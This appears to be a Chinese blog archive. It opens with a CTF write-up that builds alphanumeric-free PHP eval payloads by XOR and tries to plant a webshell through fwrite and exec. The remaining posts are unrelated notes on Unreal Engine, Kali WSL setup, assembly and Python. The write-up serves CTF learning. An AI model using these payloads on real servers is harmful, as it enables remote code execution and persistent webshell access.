纯符号shell的学习

一道ctf题,看了其他大师傅的payload才搞懂了。后来试图绕过40字符写入webshell,走了一些弯路,最后只构造出一种37个字符的payload,记录一下。

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>

题目考察PHP语言中的动态变量和可变函数、字符转化绕过

payload:

1
     202.112.51.184:20001/?code=$_="`{ {{:^"?<>/";$${$_}[_]();

服务器解析读取变量:

1
2
3
$_GET['code']=$_="`{{{"^"?<>/";${$_}[_]();

$_GET[_]=getFlag

执行eval:

字符串异或:

1
$_=_GET;

动态变量:

1
2
3
${$_} == $_GET

${$_}[_] == $_GET[_]

GET开始时读取的变量:

1
2
3
$_GET[_] == getFlag

$_GET[_]() ==getFlag();

另一种payload:

1
$_=(":>/},!'"^"][[;@@@");$_();

同样使用动态变量,只传入一个$_GET值

构造接收POST:

请求:

1
2
3
202.112.51.184:20001/?code=$_="~~`~~"^"!./-*";${$_}[_];

POST:\_=readfile('flag.php')

变量:

1
2
3
$_GET['code'] = $_=_POST;${$_}[_];

$_POST[_] = readfile('flag.php')

执行:

1
2
3
$_ = _POST;

$_POST[_];

尝试写入shell一:

利用代码执行通过php函数写入文件

请求:

1
202.112.51.184:20001/?code=$_="`{ {{"^"?<>/";${$_}[_](${$_}[__],${$_}[___]);&_=fwrite&__=shell.php&___=<?php eval($_GET['a']);

48个字符,解决了PHP函数传参问题

变量:

1
2
3
4
5
6
7
$_GET['code'] = $_="`{ {{"^"?<>/";${$_}[_](${$_}[__],${$_}[___]);

$_GET[_] = fwrite

$_GET[__] = shell.php

$_GET[___] = <?php eval($_GET['a']);

执行:

1
2
3
4
5
$_ = _GET;

$_GET[_]($_GET[__],$_GET[___]);

fwrite('shell.php','<?php eval($_GET['a']);');

尝试写入shell二:

通过代码执行写入shell

请求:

1
202.112.51.184:20001/?code=$_='@)!@'^'%_@,';$__="`{ {{"^"?<>/";${$_}(${$__}[_]);&_=fwrite('shell.php','<?phpeval($_GET['a']);');

49个字符,避免了函数传参问题

执行:

1
eval($_GET[_]);

这里遇到一个php问题:
与phpinfo()等不同,eval()在PHP中并不是作为一个函数而存在,通过可变函数调用eval()会返回undefined function eval()

“https://stackoverflow.com/questions/29707896/undefined-function-eval-php”

尝试写入shell三:

学长说可以构造命令执行,转换思路尝试一波。

换一个PHP函数调用系统命令写入shell

请求:

1
202.112.51.184:20001/?code=$_='@#@@'^'%\[%#';$__="`{ {{"^"?<>/";${$_}(${$__}[_]);&_=echo "<?php phpinfo(); ?>" > shell.php

49个字符

执行:

1
exec($_GET[_]);

尝试写入shell四:

意识到想要缩短code字符串,就得尽量通过code之外的$_GET变量传入参数,依照这个思路构造了出来

payload:

1
202.112.51.184:20001/?code=$_="`{ {{"^"?<>/";${$_}[_](${$_}[__]);&_=exec&__=echo "<?php phpinfo(); ?>" > shell.php

37个字符,我所得到的最优解

url编码后:

1
202.112.51.184:20001/?code=$_=%22`{ {{%22^%22?%3C%3E/%22;${$_}[_](${$_}[__]);&_=exec&__=echo%20%22%3C?php%20phpinfo();%20?%3E%22%3Eshell.php

变量:

1
2
3
4
5
$_GET['code']= $_="`{ {{"^"?<>/";${$_}\[_](${$_}[__]);

$_GET[_] = exec

$_GET[__] = echo "<?php phpinfo(); ?>" > shell.php

执行:

1
2
3
4
5
$_=_GET;

$_GET[_]($_GET[__]);

exec('echo "<?php phpinfo(); ?>" > shell.php');

梅子酒师傅部署题目时应该还做了二手准备,访问除题目外的页面都返回403,没能拿到shell,不过本地测试成功。

在微信上看到有师傅连下划线都不用就实现了任意代码执行,发现自己跟师傅们的差距还是太大了,在此记录一下菜鸡对这道题的探究过程,作为备忘。

参考:
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

Note of Unreal Engine 4

看完了《Unreal Engine 4 蓝图完全学习教程》,将书中出现的常用节点及其功能整理了一番。 关卡蓝图节点 一、事件节点 1.BeginPlay 本关卡开始

2.事件Tick 每帧发生的事件节点

3.键盘个事件,鼠标个事件 输入键盘相应值,按鼠标相应按键的事件

4.鼠标X,鼠标Y 当鼠标横向或纵向移动触发事件,有参数: Axis Value 读取鼠标移动了多少

5.OnActorHit 选中的Actor与其他Actor接触时发生的事件,并且在碰撞期间连续地发生,有参数: Self Actor 传递碰撞自身Actor Other Actor 传递碰撞对象 Normal Impulse 表示碰撞力的值。传递Vector的值 Hit 传递汇总有关碰撞相关信息的结构体的值

6.OnActorBeginOverlap 指定Actor与其他Actor重叠瞬间发生,只发生一次

二、函数节点 1.Print String 打印字符串,有参数: Print to Screen 指定是否将文本内容显示在画面上。如果选择ON,就显示 Print to Log 指定是否将文本内容记录在日志(记录执行情况等的文件)中。如果选择ON,就记录 Text Color 设定文本颜色的选项。单击右侧正方形部分(显示为蓝色的部分),就会出现颜色选择器,可以改变颜色

2.Make Literal String 创建文本内容,有参数: Value 显示这个Literal节点的值。直接在输入区域上输入文本,就能设定,还能从其他的节点接收文本值 Return Value 用于读取该文本节点的值。用线从这里连接到其他节点的输入项,就能使用这个文本节点的值

3.Make Literal Int 创建整型内容,参数似上

4.Set Array Elem 设置数组元素,有参数: Target Array 用于连接设置数值的数组 Index 用于规定设置项目的编号。可以修改指定编号的值 Item 用于连接设置值。将与Item连接的值保存在Index指定的编号中 Size to Fit 如果有项目未使用,就删除掉,负责整理保留使用的项目

5.Get 获取数组中的数值,有参数: Target Array 与配型数组连接 Index 指定取值的编号

6.Add 给数组添加值,有参数: Target Array 与配型数组连接 Add Item to Array 与添加的数值相连接 Return Value 给添加数值分配的编号。由此可知是给哪个编号的区域添加数值

7.Remove Index 删除数组中的值,有参数: Target Array 同上 Index to Remove 输入删除项目的编号

8.Switch On String 以字符串替换,有参数: Selection 用于连接检查对象值。可在旁边的文本框内直接填写文本进行设置。运行时,运行该值和右侧的项 Default 找不到与Selection相同的项时运行

9.Append 将文本连接

10.AddActorLocalRotation 旋转Actor对象,有参数: Delta Rotation 输入旋转角度

11.AddActorLocalOffset 移动Actor对象,有参数: 目标 设置操作Actor Delta Location 设置移动距离 Sweep Teleport Sweep Hit Result

12.AddActorLocalTransform 设置Actor显示的位置和角度

13.Make Transform 设置Actor位置信息,有参数: Location 设置移动位置的距离。设置X、Y、Z的各项数值 Rotation 设置旋转角度。设置X、Y、Z的各项数值 Scale 设置大小的扩大缩小比例。设置X、Y、Z的各项数值

14.AddActorWorld…… 在世界坐标系下设置Actor的……

15.Make Vector 生成向量

16.Add Force 用于给Actor施加物理力(需要将物理引擎设置为可用),有参数: 目标 指定施加力的对象 Force 设置所施加力的信息。可在此直接填写,也可以为它传递其他节点的值 Bone Name 具有角色构造的网格,指定躯体。

17.Get Display Name 用于检查对象名称

18.Component Has Tag 检查标签

19.Set Actor Hidden In Game 使Actor不显示,有参数: 目标 连接要操作的Actor New Hidden 指定显示状态。勾选后不显示,去掉勾选将显示

三、功能与流程控制节点 1.四则运算节点

2.数学表达式节点

3.变量的获得与设置节点

4.创建数组

5.分支(Branch)

6.Equal(Not Equal) 检查输入的两个值是否相等(不相等),并返回bool

7.ForLoop 循环,有参数 First Index 为计数器设置的初始值。进入该节点后,计数器被设置为该First Index的值 Last Index 计数器的结束值。计数器没循环一次就加1,当达到该Last Index值后,执行完循环处理后直接进入之后的处理中 Loop Body 用于连接循环所执行的处理。多次执行连接到此处的处理 Index 取出当前计数器的值。想知道是第几次循环时使用 Completed 连接循环完成后的处理。循环结束后,进入连接到此处的处理

8.ForEachLoop 数组专用循环,有参数 Array 连接要处理的数组 Array Element 从数组中取出值 Array Index 获得取出值的Index编号

9.WhileLoop 条件循环,有参数: Condition 用于检查循环。可连接真假值的值、变量等。每次循环都会检查该Condition,为真则继续循环,为假则退出循环

10.FlipFlop 触发器,轮番调用AB两事件

11.序列 按序调用所有连接事件

12.Is Input Key Down 检查特定按键的状态,有参数: 目标 指定检查按键输入的玩家。需要准备了控制器 Key 选择需要检查哪个键 Return Value 显示指定按键的状态。如果被按下就为真,没有就为假

13.Get Player Controller 获得控制器

14.Get Game Time in Seconds 取出从游戏开始换算为秒的所用时间值

15.Play 运行Matinee动画

16.Set Position 变更Matinee的Position,有参数: 目标 连接要操作的Matinee New Position 指定所设置的Position的值,可以直接输入值,也可以连接外部的实数值进行使用。初始状态为0.0 Jump 用于瞬时移动至新Position。勾选后将会瞬时移动

17.Pause 暂停Matinee的播放

18.创建控件 用于创建控件蓝图,有参数: Class 指定要创建的控件蓝图 Owning Player 指定Owning Player部件。 Return Value 传递所创建的部件

19.Add to Viewport 显示控件蓝图 ———————————————————————————————————————————————— 材质编程节点 1.VectorParameter 设置颜色

2.Constant3Vector 有3个值的常量

3.最终材质输入 有参数: 基础颜色 即RGBA 金属 使Actor有金属质感,0~1.0 高光 在非金属时用于设置表面的反射,0~1.0 粗糙度 表面的粗糙设置,0~1.0 自发光颜色 使Actor发光,可以大于1.0 不透明度 使Actor表面变得透明,0~1.0,需要修改Blend Mode为Translucent

4.ScalarParameter 可以保管一个值的参数

待更新…………

win10下的linux子系统(kali)的安装及配置

断断续续搞了好久,终于把这个东西配置好了,不难倒是不难,就是一步一个坑。 首先,先把win10 defender关了 然后,安装win10应用市场里的kali子系统并enable子系统

enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux

然后敲入以下命令:

apt-get update
apt-get upgrade
apt-get install python3
apt-get install python
apt-get install kali-linux-all //因为我用官方源也挺快就没换源,要换源可以先装个vim,具体百度
//此处等待2小时

因为还是觉得kali命令行有的工具不好使用,所以弄个桌面

wget https://kali.sh/xfce4.sh 
sudo sh xfce4.sh //安装桌面
 sudo /etc/init.d/xrdp start //开启桌面 
打开win10自带的远程桌面软件:输入127.0.0.1:339
输入kali密码
sudo /etc/init.d/xrdp stop  //停止桌面

这样就可以了,感觉比虚拟机舒服,资源占用不多

Assembly Language End Example——The Date

按中华民族的传统习惯,通常要在婴儿出生的百日举办庆祝仪式,因此需要推算一个婴儿出生后百日的日期,将该问题拓展,再分别推算一个人出生后“千日”和“万日”的日期。 例如:某人2018年5月3日出生,其百日为2018 年8月11日。 该程序实现的功能需要提示用户输入一个人的出生日期,据此计算并输出百日、千日和万日的日期。 输入、输出的日期格式须依照中国人的习惯,如2018-05-03。 提示:要考虑“闰年”; 汇编结课实验题,因为上课从未听讲在格式化输入输出上耗费大量时间,不过半个下午半个晚上也是肝完了,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
assume cs:code,ss:stack,ds:data

stack segment stack
db 1024 dup (0)
stack ends

data segment
;存储年月日数据
year dw ?
month db ?
day db ?
buf db 10 dup (?);存储输入的字符串
data ends

code segment
start:
mov ax,data
mov ds,ax
mov ax,0
;从键盘输入字符串
lea di,buf;获取字符串首地址
input:
;逐个输入字符并存储
mov ah,1
int 21h
;检测到换行时结束输入
cmp al,0dh
je inputend
mov ds:[di],al
inc di
jmp input
inputend:
mov ds:[di],al
call change;将输入字符串转化为年份数字,并存入数据段

mov cx,100;入口参数,千日则1000,万日则10000
call calculate;计算N日后的日期,并储存

mov ax,ds:[year]
mov cx,4
;输出并显示年份
outputy:
mov dx,0
mov bx,10
div bx
add dl,30h
push dx
loop outputy
mov cx,4
displayy:
;逐个输出年份
pop dx
mov ah,2
int 21h
loop displayy
;格式化输出日期中的'-'
mov dl,'-'
mov ah,2
int 21h
;为月份的输出做准备
mov dx,0
mov al,ds:[month]
mov ah,0
;输出并显示月份
outputm:
;逐个输出月份
mov bl,10
div bl
add al,30h
add ah,30h
mov bl,ah

mov dl,al
mov ah,2
int 21h

mov dl,bl
mov ah,2
int 21h
;格式化输出日期中的'-'
mov dl,'-'
mov ah,2
int 21h
;为日期的输出做准备
mov dx,0
mov al,ds:[day]
mov ah,0
;输出并显示日期
outputd:
;逐个输出日期
mov bl,10
div bl
add al,30h
add ah,30h
mov bl,ah

mov dl,al
mov ah,2
int 21h

mov dl,bl
mov ah,2
int 21h
;程序返回
mov ax,4c00h
int 21h
change proc near;子程序,将输入字符串转化为年份数字,并存入数据段
;保护数据
push ax
push bx
push cx
push dx

mov dx,0
mov bx,0

lea si,buf;获取字符串首地址
mov bl,10;每次进位乘10
mov ax,0;初始值
s1:
;第一次读到-时存入年,跳转到月
cmp byte ptr ds:[si],'-'
je themonth

sub byte ptr ds:[si],30h;字符转换为数字
;逐个取字符并换算成相应数值
mov dl,byte ptr ds:[si]
add ax,dx
mov bh,0
mul bx
inc si
jmp s1
themonth:
mov dx,0
div bx
mov ds:[year],ax
inc si
mov ax,0
s2:
;第二次读到-时存入月,跳转到日
cmp byte ptr ds:[si],'-'
je theday

sub byte ptr ds:[si],30h
add al,byte ptr ds:[si]
mov bh,0
mul bx
inc si
jmp s2
theday:
mov dx,0
div bx
mov ds:[month],al
inc si
mov ax,0
s3:
;检测到换行则结束
cmp byte ptr ds:[si],0dh
je endchange

sub byte ptr ds:[si],30h
add al,byte ptr ds:[si]
mov bh,0
mul bx
inc si
jmp s3
endchange:
mov dx,0
div bx
mov ds:[day],al

;恢复数据
pop dx
pop cx
pop bx
pop ax
change endp

boolrun proc near;子程序,判断是否为闰年,并设置CF位

;保护数据
push bx
push cx
push dx

;年份作被除数,判断能否被100整除
mov ax,ds:[year]
mov cx,ax;备份年份
mov dx,0;dx清零
mov bx,100
div bx
cmp dx,0

jne label1;不能整除,则跳转判断能否被4整除

;能整除,则判断能否被400整除
mov ax,cx
mov bx,400
div bx
cmp dx,0

je label2;是闰年,跳转到label2
mov al,0;否则将al清零
jmp label3
label1:
;判断能否被4整除
mov ax,cx
mov dx,0
mov bx,4
div bx
cmp dx,0
je label2;是闰年
mov al,0
jmp label3
label2:
mov al,1;是闰年则al置1
label3:
pop dx
pop cx
pop bx
ret
boolrun endp

calculate proc near
push ax
push bx
push cx
push dx
loop1:
call boolrun;判断是否为闰年
cmp ds:[month],1
je m1
cmp ds:[month],2
je m2
cmp ds:[month],3
je m1
cmp ds:[month],4
je m3
cmp ds:[month],5
je m1
cmp ds:[month],6
je m3
cmp ds:[month],7
je m1
cmp ds:[month],8
je m1
cmp ds:[month],9
je m3
cmp ds:[month],10
je m1
cmp ds:[month],11
je m3
cmp ds:[month],12
je m4
;月份为大月,执行此项
m1:
cmp ds:[day],31
je dayend
jmp dayup
;月份为特殊的二月,执行此项
m2:
cmp al,0
je norun
cmp ds:[day],29
je dayend
jmp dayup
;闰年
norun:
cmp ds:[day],28
je dayend
jmp dayup
;月份为小月,执行此项
m3: cmp ds:[day],30
je dayend
jmp dayup
;月份为特殊的12月,执行此项
m4:
cmp ds:[day],31
je yearend
jmp dayup
;年末
yearend:
inc ds:[year]
mov ds:[month],1
mov ds:[day],1
sub cx,1
jnz loop1
jmp endofm
;月末
dayend:
inc ds:[month]
mov ds:[day],1
sub cx,1
jnz loop1
jmp endofm
;日常
dayup:
inc ds:[day]
sub cx,1
jnz loop1
jmp endofm
endofm:
pop dx
pop cx
pop bx
pop ax
ret
calculate endp
code ends

end start

以下为百日,千日,万日,的程序运行结果:

Assembly Language example 9

编程:在屏幕中间分别显示绿色,绿底红色,白底蓝色的字符串‘welcome to masm!’。 分析: 1.数据段定义字符串,用到DS和BX。 2.将字符串拷贝到显存的地址范围,选择ES和SI。 3.计算屏幕中间的位置,显存为B8000H~BFFFFH共32KB的空间,为80×25彩色字符模式的显示缓冲区,所以中间位置是80×13。输出三行,所以第一行开始位置80×12,总共要跳过80×11+((80-16)/2)=912个字符,一个显示字符在显示缓冲区占两个位置,那么要跳过1824个字节,即720H,开始位置为B8720H,ES为B8720。 代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
assume cs:codesg,ds:datasg

data segment
db 'welcom to masm!'
data ends

code segment
start:
;move data address to ds register
mov ax, data
mov ds, ax

;display area is 0xb8000h - 0xbffffh, move data to this area
mov ax, 0b872h ;with hex, must a 0 before b800h
mov es, ax
mov si, 0
mov bx, 0
mov cx, 16
s:
mov al, ds:[bx]
mov es:[si], al
mov es:[si + 160], al ; newline
mov es:[si + 320], al ; newline
mov al, 02h;green property:00000010 = 2
mov es:[si + 1], al
mov al, 24h;backgroud green, word red, 00100100 = 36 = 24h
mov es:[si + 161], al
mov al, 71h;background white, word green, 01110001 = 71h
mov es:[si + 321], al
add bx, 1
add si, 2
loop s

mov ax,4c00h
int 21h
codesg ends
end start

运行结果:

Python notes(7)-Python高级特性

切片:

若要在一个list或tuple中取部分元素比较繁琐,所以切片特性用以解决这个问题

L[m:n]表示,从索引(下标)m开始取,直到索引n为止,但不包括索引n。即从m取到n-1。

倒数切片(切出来的同样为逆序)同样可以,但是倒数第一个元素的索引是-1。

tuple和字符串同样可以进行切片操作,tuple切片下来也是tuple,字符串切片下来也是字符串

迭代:

给定一个list或tuple,我们可以通过for循环来遍历这个list或tuple,这种遍历被称为迭代(Iteration)。

可迭代的最高变量数:???

Python的迭代与C的迭代不同,Python的迭代不仅可以用于list和tuple等有下标的数据类型,还可以作用于没有下标的类型比如dict等可迭代对象上(

只要是可迭代对象,无论有无下标,都可以迭代)

是否为可迭代数据类型的判定:

>>> from collections import Iterable
>>> isinstance('abc', Iterable) # str是否可迭代
True
>>> isinstance([1,2,3], Iterable) # list是否可迭代
True
>>> isinstance(123, Iterable) # 整数是否可迭代

当dict迭代时,因为dict的储存不是按照list的方式排序,所以迭代出来的顺序可能不一样 dict类型有三种迭代方式 直接迭代:只能迭代出key 用 .values() 函数迭代:只能迭代出value 用 .items() 函数迭代:同时迭代出key和values

>>>for k, v in d.items():
……     print( k , v )

Python内置的enumerate函数可以把一个list变成索引-元素对,这样就可以在for循环中同时迭代索引和元素本身:

>>> for i, value in enumerate(['A', 'B', 'C']):
...     print(i, value)
...
0 A
1 B
2 C

列表生成式:

列表生成式即List Comprehensions,是Python内置的非常简单却强大的可以用来创建list的生成式。

例:如果要生成[1x1, 2x2, 3x3, …, 10x10

如果用循环的话:

>>> L = []
>>> for x in range(1, 11):
...    L.append(x * x)
...
>>> L
[1, 4, 9, 16, 25, 36, 49, 64, 81, 100]

如果用列表生成式:

>>> [x * x for x in range(1, 11)]
[1, 4, 9, 16, 25, 36, 49, 64, 81, 100]

for循环后面还可以加上if判断,这样我们就可以筛选出仅偶数的平方:

>>> [x * x for x in range(1, 11) if x % 2 == 0]
[4, 16, 36, 64, 100]

for循环后可以加入if判断来进行筛选

也可以用多层循环来生成全排列,如:

>>> m = '1234567890'
>>> [a+b+c+d+e for a in m for b in m for c in m for d in m for e in m]
#生成5位数字字典

运用列表生成式,可以写出非常简洁的代码。例如,列出当前目录下的所有文件和目录名,可以通过一行代码实现:

>>> import os # 导入os模块,模块的概念后面讲到
>>> [d for d in os.listdir('.')] # os.listdir可以列出文件和目录
['.emacs.d', '.ssh', '.Trash', 'Adlm', 'Applications', 'Desktop', 'Documents', 'Downloads', 'Library', 'Movies', 'Music', 'Pictures', 'Public', 'VirtualBox VMs', 'Workspace', 'XCode']

如果list中既包含字符串,又包含整数,由于非字符串类型没有lower()方法,所以列表生成式会报错,此时使用内建的isinstance()函数可以判断一个变量是不是字符串。

生成器:

通过列表生成可以直接创建一个列表,但是受到内存的限制,列表的容量是有限的。Python的生成器可以解决这个问题。生成器与函数不同,函数的唯一入口就是函数的第一行代码,而生成器可以执行完某行代码后退出并且下次从此处再进入。

如果一个生成器具有return的话,一旦执行到函数末尾(return)就会产生一个StopIteration的错误

很多处理无穷序列的时候会用一个while的死循环保证生成器函数永远不会执行到末尾。

关于生成器我自己理解也不是很清楚,所以附上链接 http://blog.csdn.net/cn_wk/article/details/51316934

Python notes(6)-自定义函数-函数的参数

Python的函数灵活度非常大。除了正常定义的必选参数外,还可以使用默认参数、可变参数和关键字参数,使得函数定义出来的接口,不但能处理复杂的参数,还可以简化调用者的代码。

默认参数:

在定义时赋值,若调用函数时未给出该参数则默认使用定义时的值

注意:必选参数在前,默认参数在后。

默认参数应该是一个不可变量,否则会出现使用多次调用时默认参数不撤栈造成的BUG 默认函数是自定义函数的时候定义在PyFunctionObject的一个元组里的,每次需要用到默认参数的时候就把他那个引用复制到调用栈的对应参数位置

可变参数:

可变参数允许传入0个或任意个参数,这些可变参数在函数调用时自动组装为一个tuple 对于需要大量输入同类型参数的函数可以用可变参数来解决,用法为在定义的参数前加上*

def calc(*numbers):
    sum = 0
    for n in numbers:
        sum = sum + n * n
    return sum
>>> calc(1, 2, 3)
14
>>> calc(1, 3, 5, 7)
84

如果函数定义中用了可变参数后又想用已有的list或者tuple输入可以在其变量名前再加一个*

关键字参数:

关键字参数允许使用者传入0个或任意个含参数名的参数,这些关键字参数在函数内部自动组装为一个dict

定义关键字参数,参数名前加**

def person(name, age, **kw):
    print('name:', name, 'age:', age, 'other:', kw)
>>> person('Michael', 30)
name: Michael age: 30 other: {}

也可以传入任意个数的关键字参数:

>>> person('Bob', 35, city='Beijing')
name: Bob age: 35 other: {'city': 'Beijing'}
>>> person('Adam', 45, gender='M', job='Engineer')
name: Adam age: 45 other: {'gender': 'M', 'job': 'Engineer'}

关键字参数可用于用户注册时非必要信息的录入

关键字参数也可以用已经组装好的dict直接输入

(此时输入的dict是原dict的一份copy,在函数中对传入的dict的改动不会影响原dict)

命名关键字参数:

由于关键字输入的随意性,可能会导致不安全。

可以使用命名关键字参数来只接受固定的关键字参数。

命名关键字参数需要一个特殊分隔符后面的参数被视为命名关键字参数

def person(name, age, *, city, job):
    print(name, age, city, job)

调用方式为:

>>> person('Jack', 24, city='Beijing', job='Engineer')
Jack 24 Beijing Engineer

对于任意函数,都可以通过类似func(*args, **kw)的形式调用它,无论它的参数是如何定义的。(很迷,不太理解)

*args是可变参数,args接收的是一个tuple;

**kw是关键字参数,kw接收的是一个dict。

Python notes(6)-自定义函数

Python 中用 def定义一个函数

def 函数名 (参数1,参数2,……):
    <语句>
    return

如果没有return语句,函数执行完毕后也会返回结果,只是结果为None。return None可以简写为return。

造轮子:

可以将自定义函数保存到py文件中 在该文件的当前目录下启动解释器 在开头用 from 文件名 import 函数名 导入自己的轮子

什么都不做的pass:

如果想在一个函数或者其他语句中(如if)什么都不做的话就可以用pass,否则代码将报错

自定义函数参数类型检测:

用isinstance()检测 >>>if not isinstance(x, (int, float)): … raise TypeError(‘bad operand type’) 抛出错误

多值返回:

Python允许函数return多个值

实际上Python函数返回的还是单一值(tuple)

而多个变量可以接受含有同样多元素的tuple的直接赋值,例:

import math
def move(x, y, step, angle=0):
    nx = x + step * math.cos(angle)
    ny = y - step * math.sin(angle)
    return nx, ny

>>> x, y = move(100, 100, 60, math.pi / 6)
>>> print(x, y)
151.96152422706632 70.0

>>> r = move(100, 100, 60, math.pi / 6)
>>> print(r)
(151.96152422706632, 70.0)